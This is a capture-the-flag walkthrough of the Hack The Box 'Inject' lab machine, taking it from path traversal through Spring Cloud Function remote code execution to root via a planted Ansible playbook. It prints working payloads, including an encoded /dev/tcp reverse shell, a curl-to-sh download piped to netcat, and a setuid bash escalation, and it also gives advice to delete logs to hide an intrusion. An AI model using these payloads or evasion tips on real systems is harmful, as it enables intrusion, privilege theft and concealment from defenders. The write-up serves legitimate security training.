HTB Inject Walkthrough

Learn how to execute a path traversal attack on a web server and do much more naughty stuff with the retired HTB Inject BOX!

HTB Inject Walkthrough
This spectacular photograph by the talented UK-based photographer Lee Høwell is part of the Namibia Another World collection. It is a mesmerizing work of art that displays the beauty of a glorious woman contrasted by golden hues of the desert in the southwestern coast of Africa.

In this walkthrough of HTB Inject, I will reveal the steps on how to conquer this retired BOX, which was complex at first but became much easier in the end.  

Read on and follow the step-by-step instructions on how to conquer the Hack The Box Inject challenge!


In your terminal, begin an nmap scan of the portal (10.10.11.204) to search for any open ports or services.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 06:13 EDT
Nmap scan report for 10.10.11.204
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.80 seconds

The nmap scan revealed two open ports: port 22 and port 8080.
Port 8080 is used for web servers. Let's take a look at it.

After checking the portal in the web server by typing in 10.10.11.204:8080, it took me to Zodd Cloud's landing page that offers cloud services.

However, it's not fully available for use. After checking it on Wappalyzer, it only reported two technologies were used on the web page: Bootstrap and YouTube. I continued to look for more treasures and stumbled upon a web page where you can upload files at 10.10.11.204:8080/upload.

After analyzing the form, I realized it only allows you to upload image files only. Once you've uploaded an image, the interface provides a URL where you can view it.

http://10.10.11.204:8080/show_image?img=maxresdefault.jpg

<html><head><meta name="viewport" content="width=device-width; height=device-height;"><link rel="stylesheet" href="resource://content-accessible/ImageDocument.css"><link rel="stylesheet" href="resource://content-accessible/TopLevelImageDocument.css"><title>show_image (JPEG Image, 1280&nbsp;×&nbsp;720 pixels) — Scaled (38%)</title></head><body><img src="http://10.10.11.204:8080/show_image?img=maxresdefault.jpg" alt="http://10.10.11.204:8080/show_image?img=maxresdefault.jpg" class="shrinkToFit" width="487" height="274"></body></html>

At one point, after noticing that the image didn't seem to process any further, I noticed that a path traversal attack (also known as a directory attack, dot-dot-slash, directory climbing, and backtracking) can potentially be executed.

A path traversal attack aims to access files and directories that are stored outside the web root folder and tricks the web app into displaying the contents of a directory that were not requested, in a malicious attempt to access sensitive files on the web server.

Thus, after investigating the form if its directory can be exploited, I executed a curl command on the image's site and backtracked its directory with the following command:

curl http://10.10.11.204:8080/show_image?img=../../../../../../../../../../../etc/passwd -v

The actual dot-dot-slash command ../ means the parent of the directory. By going up the path of the directory eleven times and adding the /etc/passwd command, I can search for the /etc/passwd file that may contain a username and password.

And voila! I found something!

┌──(in7rud3r㉿kali-muletto)-[~/Downloads]
└─$ curl http://10.10.11.204:8080/show_image?img=../../../../../../../../../../../etc/passwd -v
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> GET /show_image?img=../../../../../../../../../../../etc/passwd HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 
< Accept-Ranges: bytes
< Content-Type: image/jpeg
< Content-Length: 1986
< Date: Wed, 12 Apr 2023 19:58:40 GMT
< 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
* Connection #0 to host 10.10.11.204 left intact

Reveal only accounts that can be useful to us.

┌──(in7rud3r㉿kali-muletto)-[~/Downloads]
└─$ curl http://10.10.11.204:8080/show_image?img=../../../../../../../../../../../etc/passwd -v 2&>/dev/null | grep bash
root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:frank:/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash

Passing a folder, rather than a file, the files inside it are detected, so I find that the owner of the user flag is phil, obviously it's not that simple to retrieve it and the traversal path on the file, doesn't seem to work. So let's move on to some equally interesting files, after sifting through nginx and some other system configuration files, in which, however, nothing interesting was reported, I finally arrive at the source code of the portal.

┌──(in7rud3r㉿kali-muletto)-[~/Downloads]
└─$ curl http://10.10.11.204:8080/show_image?img=../../../../../../../../../../../var/www/WebApp/src/main/java/com/example/WebApp/user/UserController.java
package com.example.WebApp.user;

import org.springframework.core.io.Resource;
import org.springframework.core.io.UrlResource;

import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;


import java.nio.file.Path;
import org.springframework.ui.Model;

import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

[...]

@Controller
public class UserController {

    private static String UPLOADED_FOLDER = "/var/www/WebApp/src/main/uploads/";

[...]
    @RequestMapping(value = "/show_image", method = RequestMethod.GET)
    public ResponseEntity getImage(@RequestParam("img") String name) {
        String fileName = UPLOADED_FOLDER + name;
        Path path = Paths.get(fileName);
        Resource resource = null;
        try {
            resource = new UrlResource(path.toUri());
        } catch (MalformedURLException e){
            e.printStackTrace();
        }
        return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);
    }

[...]    
}

The interesting part is precisely the part of the mapping with the routing of the show_image, which provides us with more information to identify some more useful exploits. The function used is the UrlResource and looking for "java exploit UrlResource", there is no shortage of interesting results.

Spring4Shell: Security Analysis of the latest Java RCE ‘0-day’ vulnerabilities in Spring | LunaTrace
We’ve been taking a look at the new zero-day exploit, dubbed Spring4Shell, supposedly discovered in Spring Core to determine if it’s a problem or not, as well as explained another RCE vulnerability found in Spring.

The specific vulnerability is CVE-2022-22965, based on the use of spring java libraries (which happen to be included in the source imports). We also immediately find a repository with the exploit of this vulnerability.

GitHub - lunasec-io/Spring4Shell-POC: This is a dockerized application that is vulnerable to the Spring4Shell vulnerability (CVE-2022-22965).
This is a dockerized application that is vulnerable to the Spring4Shell vulnerability (CVE-2022-22965). - GitHub - lunasec-io/Spring4Shell-POC: This is a dockerized application that is vulnerable t…

But my optimism didn't pay off, and the exploit didn't seem to be working.

┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.204 - Inject (lin)/attack/git/Spring4Shell-POC]
└─$ python3 exploit.py --url http://10.10.11.204:8080/show_image 
[*] Resetting Log Variables.
[*] Response code: 405
[*] Modifying Log Configurations
[*] Response code: 405
[*] Response Code: 400
[*] Resetting Log Variables.
[*] Response code: 405
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://10.10.11.204:8080/shell.jsp?cmd=id
                                                                                                                                                                                                         
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.11.204 - Inject (lin)/attack/git/Spring4Shell-POC]
└─$ curl http://10.10.11.204:8080/shell.jsp?cmd=id
{"timestamp":"2023-04-24T20:25:21.360+00:00","status":404,"error":"Not Found","message":"No message available","path":"/shell.jsp"}

There is another CVE (CVE-2022-22963) still based on the same spring libraries as the previous one. And also in this case a repository on github is already available.

GitHub - darryk10/CVE-2022-22963
Contribute to darryk10/CVE-2022-22963 development by creating an account on GitHub.

This time you have to do it manually, but the results are much better than the previous one.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.204 - Inject (lin)/attack/git]
└─$ curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"curl http://10.10.14.120\")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
HTTP/1.1 500 
Content-Type: application/json
Transfer-Encoding: chunked
Date: Mon, 24 Apr 2023 21:00:27 GMT
Connection: close

{"timestamp":"2023-04-24T21:00:27.930+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"} 

As you can see I try a simple curl on my machine from the BOX and get a request on my native php server.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ php -S 10.10.14.120:80  
[Mon Apr 24 16:41:21 2023] PHP 8.2.2 Development Server (http://10.10.14.120:80) started
[Mon Apr 24 17:00:50 2023] 10.10.11.204:43130 Accepted
[Mon Apr 24 17:00:51 2023] 10.10.11.204:43130 [404]: GET / - No such file or directory
[Mon Apr 24 17:00:51 2023] 10.10.11.204:43130 Closing

Always remember, before proceeding with a definitive attack, verify the actual presence of the vulnerability with more basic and simple tests.

Expand the same test to understand with which user the commands are executed through the exploit.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.204 - Inject (lin)/attack/git]
└─$ curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.120/" + T(System).getProperty("user.name"))' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
HTTP/1.1 500 
Content-Type: application/json
Transfer-Encoding: chunked
Date: Mon, 24 Apr 2023 21:39:43 GMT
Connection: close

{"timestamp":"2023-04-24T21:39:43.590+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"} 

And the answer is...

[Mon Apr 24 17:40:04 2023] 10.10.11.204:59350 Accepted
[Mon Apr 24 17:40:04 2023] 10.10.11.204:59350 [404]: GET /frank - No such file or directory
[Mon Apr 24 17:40:04 2023] 10.10.11.204:59350 Closing

...frank, maybe it's not good news to immediately recover the user flag, but it's still an extra piece of information.

At this point, I still find myself in trouble, as I can't start a reverse shell, despite my attempts. Going forward on the results of the research carried out just before, I find other repositories on the same vulnerability and one attracts my attention.

GitHub - RanDengShiFu/CVE-2022-22963: CVE-2022-22963 Spring-Cloud-Function-SpEL_RCE_exploit
CVE-2022-22963 Spring-Cloud-Function-SpEL_RCE_exploit - GitHub - RanDengShiFu/CVE-2022-22963: CVE-2022-22963 Spring-Cloud-Function-SpEL_RCE_exploit

Despite the language, the shell section teaches me one more method of passing parameters to a linux command.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.204 - Inject (lin)/attack/git]
└─$ curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjAvNDQ0NCAwPiYxCg==}|{base64,-d}|bash")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter' 
HTTP/1.1 500 
Content-Type: application/json
Transfer-Encoding: chunked
Date: Mon, 24 Apr 2023 23:02:39 GMT
Connection: close

{"timestamp":"2023-04-24T23:02:39.954+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}

And my reverse shell can finally see the light.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444                                                                   
listening on [any] 4444 ...
10.10.11.204: inverse host lookup failed: Unknown host
connect to [10.10.14.151] from (UNKNOWN) [10.10.11.204] 60346
bash: cannot set terminal process group (822): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ 

Once inside I was in for a nasty surprise...

$ mkdir tmp
mkdir tmp
mkdir: cannot create directory ‘tmp’: No space left on device

...there seems to be no space on the device even for a new folder. I will have to scan with linpeas on the fly and save the result on my machine.

Let me say that this, in the end, is perhaps the best way to proceed, both in this type of scenario (CTF) and in the reality of a hypothetical attack; in this way, in fact, you leave as few clues as possible to the other players participating in the same BOX (in the first case) and help reduce the possible traces of your passage in the second case (this does not completely eliminate them, however, remember to delete any log files).

To do this, we will start our usual native php web server in a folder containing the linpeas.sh script (download the latest version on the git repository) and listen with a netcat session on a specific port, reversing everything sent on this listener to a file. Victim side, in a single instruction, we will recover the contents of the linpeas.sh script which we will execute on a netcat session towards the listener listening on our machine. More difficult to tell it than to execute it.

So, start the PHP server...

php -S 10.10.14.151:80

...and the listener.

nc -lp 4445 | tee lpeasout.file

Now, start the scan on the remote machine:

curl http://10.10.14.151/linpeas.sh | sh | nc 10.10.14.151 4445

Apart from the CVEs suggested by the scan (which I have now resigned to considering as false positives), the only sessions that I considered interesting and worthy of investigation were the following:

[...]
╔══════════╣ Analyzing Postfix Files (limit 70)
-rw-r--r-- 1 root root 813 Feb  2  2020 /usr/share/bash-completion/completions/postfix                                                                                                                   
[...]
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml                                                                                                                                    
[...]

I don't see many possibilities in the postfix script, but I reserve the possibility to come back to analyze it later.

$ cat /usr/share/bash-completion/completions/postfix
cat /usr/share/bash-completion/completions/postfix
# postfix(1) completion                                    -*- shell-script -*-

_postfix()
{
    local cur prev words cword
    _init_completion || return

    case $prev in
        -c)
            _filedir -d
            return
            ;;
        -D)
            COMPREPLY=( $(compgen -W 'start' -- "$cur") )
            return
            ;;
    esac

    if [[ $cur == -* ]]; then
        # TODO: doesn't seem to work; the usage message doesn't get output
        #       if we try to grep it, it's only output on the console?
        COMPREPLY=( $(compgen -W '$(_parse_usage "$1")' -- "$cur") )
        return
    fi

    COMPREPLY=( $(compgen -W 'check start stop abort flush reload status
        set-permissions upgrade-configuration' -- "$cur") )
} &&
complete -F _postfix postfix

# ex: filetype=sh

Also because, in the m2 settings xml file, there is fantastic information...

$ cat /home/frank/.m2/settings.xml
cat /home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

The password doesn't seem to work over ssh (I expected that; I didn't see folder .ssh in either user's folders), but I still have a shell open on the BOX, I can switch users, but not before spawning a tty shell.

python3 -c 'import pty; pty.spawn("/bin/sh")'

And the user flag is clear to us.

$ su - phil       
su - phil
Password: DocPhillovestoInject123

phil@inject:~$ pwd
pwd
/home/phil
phil@inject:~$ cat user.txt
cat user.txt
4******************************0

The next steps seem much simpler than the ones that got us here. Since this user doesn't seem to be able to use the sudo command without a password, I take a look at the current user's identification info.

phil@inject:~$ sudo -l
sudo -l
[sudo] password for phil: DocPhillovestoInject123

Sorry, user phil may not run sudo on localhost.
phil@inject:~$ id
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

It appears that the current user belongs to a staff group. Let's see if there is any specific file it can access.

find / -group staff 2>/dev/null
/opt/automation/tasks
/root
/var/local
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/lib/python3.8/dist-packages/ansible_parallel.py
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER
/usr/local/lib/python3.8/dist-packages/__pycache__
/usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc
/usr/local/share/fonts
/usr/local/share/fonts/.uuid

Excluding the files inside the python libraries (which we will come back to later if needed) and the root folder (which of course I have already tried to access with little success), the only interesting information seems to be the /opt folder /automation/tasks.

ls -la /opt/automation/tasks
total 12
drwxrwxr-x 2 root staff 4096 Apr 28 21:44 .
drwxr-xr-x 3 root root  4096 Oct 20  2022 ..
-rw-r--r-- 1 root root   150 Apr 28 21:44 playbook_1.yml
phil@inject:/$ cat /opt/automation/tasks/playbook_1.yml
cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

Inside we find a yaml file that seems to refer to an ansible playbook.

An ansible playbook allows you to automate processes.

Ansible playbooks — Ansible Documentation

Immediately recover the version and additional information that can give us some clues on how to proceed.

phil@inject:~$ ansible --version
ansible --version
ansible [core 2.12.10]
  config file = /etc/ansible/ansible.cfg
  configured module search path = ['/home/phil/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']
  ansible python module location = /usr/lib/python3/dist-packages/ansible
  ansible collection location = /home/phil/.ansible/collections:/usr/share/ansible/collections
  executable location = /usr/bin/ansible
  python version = 3.8.10 (default, Nov 14 2022, 12:59:47) [GCC 9.4.0]
  jinja version = 2.10.1
  libyaml = True

As always, just search for something interesting on the topic, adding the word "exploit" to get interesting articles.

Ansible Playbook Privilege Escalation | Exploit Notes
Ansible Playbooks are lists of tasks that automatically execute against hosts.

As already mentioned above, let's proceed with some preliminary tests, to understand if the vulnerability is actually present.

phil@inject:/opt/automation/tasks$ echo "- hosts: localhost" >> test.yml && echo "  tasks:" >> test.yml && echo "    - name: RTest" >> test.yml && echo "      command: curl http://10.10.14.151/" >> test.yml && cat test.yml
<l http://10.10.14.151/" >> test.yml && cat test.yml
- hosts: localhost
  tasks:
    - name: RTest
      command: curl http://10.10.14.151/

Not being able to start the playbook manually, I trust in an automated process (as suggested in the article) and actually, after a few minutes, something happens (I could have confirmed the presence of a process through the pspy for example, but waiting for the process running is perhaps shorter than preparing the tool for uploading to the BOX).

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ php -S 10.10.14.151:80
[Sat Apr 29 13:47:48 2023] PHP 8.2.2 Development Server (http://10.10.14.151:80) started
[Sat Apr 29 13:48:31 2023] 10.10.11.204:34614 Accepted
[Sat Apr 29 13:48:31 2023] 10.10.11.204:34614 [404]: GET / - No such file or directory
[Sat Apr 29 13:48:31 2023] 10.10.11.204:34614 Closing

I quickly approach a reverse shell, but it doesn't seem to work.

phil@inject:/opt/automation/tasks$ echo "- hosts: localhost" >> test.yml && echo "  tasks:" >> test.yml && echo "    - name: RTest" >> test.yml && echo "      command: /bin/bash -i >& /dev/tcp/10.10.14.151/4445 0>&1" >> test.yml && cat test.yml
<10.10.14.151/4445 0>&1" >> test.yml && cat test.yml
- hosts: localhost
  tasks:
    - name: RTest
      command: /bin/bash -i >& /dev/tcp/10.10.14.151/4445 0>&1

But why bandage your head ahead of time, I stick to the example of the article.

phil@inject:/opt/automation/tasks$ echo "- hosts: localhost" >> test.yml && echo "  tasks:" >> test.yml && echo "    - name: RTest" >> test.yml && echo "      ansible.builtin.shell: chmod +s /bin/bash" >> test.yml && echo "      become: true" >> test.yml && cat test.yml
<ho "      become: true" >> test.yml && cat test.yml
- hosts: localhost
  tasks:
    - name: RTest
      ansible.builtin.shell: chmod +s /bin/bash
      become: true

And as soon as I realize that the automation has turned, the way to the root flag is clear.

phil@inject:/opt/automation/tasks$ /bin/bash -p
/bin/bash -p
bash-5.0# whoami
whoami
root
bash-5.0# cat /root/root.txt
cat /root/root.txt
8******************************3

That's all folks, as always have fun with your hacking activities but always within the law. See you in the next BOX.